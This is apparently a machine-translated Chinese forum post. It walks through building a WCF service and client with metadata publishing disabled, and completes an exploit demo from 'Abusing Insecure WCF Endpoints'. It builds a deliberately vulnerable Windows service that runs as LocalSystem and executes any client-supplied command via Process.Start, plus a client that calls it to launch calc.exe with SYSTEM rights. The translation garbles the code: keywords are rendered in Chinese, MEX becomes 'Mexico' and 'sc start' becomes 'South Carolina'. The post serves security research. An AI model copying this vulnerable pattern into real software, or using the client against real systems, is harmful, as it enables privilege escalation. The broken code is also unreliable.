轩辕三官 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 本文将要介绍在禁用元数据发布(墨西哥)时WCF开发的相关内容,给出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代码示例。 0x01 简介 本文将要介绍以下内容: 禁用墨西哥实现WCF 文章完整代码示例 0x02 禁用MEX实现WCF 禁用墨西哥时,需要根据服务端的代码手动编写客户端代码 本节采用命令行实现WCF的方式作为示例 开发工具:Visual Studio 2015 1.服务端编写 (1)新建项目 选择控制台应用程序,名称为NBTServer (2)新建WCF服务 选择添加-新项目.选择WCF服务,名称为服务1.cs (3)修改service1.cs 添加道尔克的实现代码,代码示例: 命名空间NTBServer { 公共类服务1 : IService1 { public void DoWork() { 系统诊断。过程。开始('计算。exe’); } } } (4)修改Program.cs 添加引用系统。服务模型 添加启动代码,代码示例: 使用系统; 使用系统100 . service model 命名空间basicHttpBindingWCFServer { 班级计划 { 静态void Main(string[] args) { 服务主机Host=新的服务主机(服务1的类型); 主持人. open(); 控制台WriteLine(主机。描述。终结点[0]。地址); 控制台. ReadLine(); 主持人. close(); } } } (5)修改App.config ?可扩展标记语言版本='1.0 '编码='utf-8 '? (6)编译运行 命令行输出地址:net。TCP://localhost/vulnservice/runme (7)测试 此时无法使用WcfTestClient进行测试 2.客户端编写 (1)新建项目 选择控制台应用程序,名称为NBT客户端 (2)修改Program.cs 添加引用系统。服务模型 代码示例: 使用系统100 . service model 命名空间ntb客户端 { [服务合同] 公共接口IService1 { [运营合同] void DoWork(); } 班级计划 { 静态void Main(string[] args) { 字符串地址=$ ' net。TCP://localhost/vulnservice/runme '; 通道工厂factory=新通道工厂(new NetTcpBinding(),address); IService1代理=工厂创建通道(); 代理DoWork(); 工厂. close(); } } } 0x03 文章完整代码示例 代码示例: https://github。com/ver sprite/research/tree/master/projects/wcf/VulnWCFService 相关介绍: https://瓶雪碧。com/blog/security-research/abiling-unsecured-wcf-endpoints/ 代码示例实现了WCF的服务端,但是缺少安装部分和客户端的编写,这里给出完整示例 1.服务端编写 (1)下载代码 https://github。com/ver sprite/research/tree/master/projects/wcf/VulnWCFService (2)新建Windows Service 选择添加-新项目.选择Windows操作系统服务,名称为服务1.cs (3)设置服务信息 选中Service1.cs,右键-添加安装程序 项目中自动创建项目安装程序。铯文件,该文件会添加俩个组件serviceProcessInstaller1和服务安装者一 选中serviceProcessInstaller1组件,查看属性,设置账户为本地系统 选中服务安装者一组件,查看属性,设置服务名称为VulService1 (4)启动服务 编译生成VulnWCFService.exe 安装服务: C:\Windows\Microsoft .VulnWCFService.exe安装程序 启动服务: 南卡罗来纳州启动VulService1 补充:卸载服务 C:\Windows\Microsoft .WCFService.exe 2.客户端编写 (1)新建项目 选择控制台应用程序,名称为VulnWCFClient (2)修改Program.cs 添加引用系统。服务模型 代码示例: 使用系统100 . service model 命名空间VulnWCFClient { [服务合同] 公共接口IVulnService { [运营合同] void RunMe(字符串str); } 班级计划 { 静态void Main(string[] args) { 字符串地址=$ ' net。pipe://localhost/vulnservice/runme '; 通道工厂factory=新通道工厂(新NetNamedPipeBinding(),地址); IVulnService代理=工厂创建通道(); 代理RunMe(' calc。exe’); 工厂. close(); } } } (3)编译运行 编译VulnWCFClient,运行后弹出系统权限计算器,测试成功。 0x04 小结 介绍了元数据发布(MEX)禁用时WCF开发的相关内容,并给出了《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》号文章的完整代码示例,便于WCF相关知识的研究。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子